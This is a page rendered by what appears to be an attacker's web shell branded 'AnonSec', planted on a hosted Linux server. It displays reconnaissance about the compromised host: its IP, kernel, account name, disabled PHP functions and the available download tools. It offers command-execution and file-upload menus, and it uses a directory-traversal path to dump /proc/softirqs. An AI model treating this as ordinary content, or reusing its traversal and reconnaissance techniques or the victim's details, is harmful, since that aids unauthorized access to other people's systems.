Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../etc/pki/java/../java/../java/../java/../java/../java/../java/../../../../proc/45/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../etc/pki/java/../java/../java/../java/../java/../java/../java/../../../../proc/45/../softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   16934492   45265837   26779652   37856902   25307071   38995011   30782843   19976175   26545761   22569997   23666279   24278231  109202936   15059278   34582205   24292685
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         16          2          0          5          1
      NET_RX:   26421279   68715492   38548727   96878659   34945736  122639742   33547814   32302870   51194222   53962840   49223244   35777630   52008859   25725335  104529334  113271288
       BLOCK:    1241241    2144711    1955360    1565229    1300568    1326490    1329075    1251363    1401204    1183263    1057656    1270322    1232763    1259200    1408631    1537884
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5414055   13561464    4045865   24845737    7900864   31316818    8252330    6763038   11639573    7790019   15866245    9337992   15128086    4379094   24434921    4253737
       SCHED:   42409646   20608595   13586194   17370900   11284213   19610263   11634208    9925467   12667724   12631455   10435787   13204132   22911669    8937587   17109605   22331988
     HRTIMER:       2053       5282       3612       9094       2212      14959       1627       2467       4830       2664       5649       4214       6882       1398       9033       1358
         RCU:   41865017   75929524   53588299   89046668   51182474  107778443   52160936   45122324   59568053   68514979   45450604   47451243   97923784   40630052   97032258  146785325

AnonSec - 2021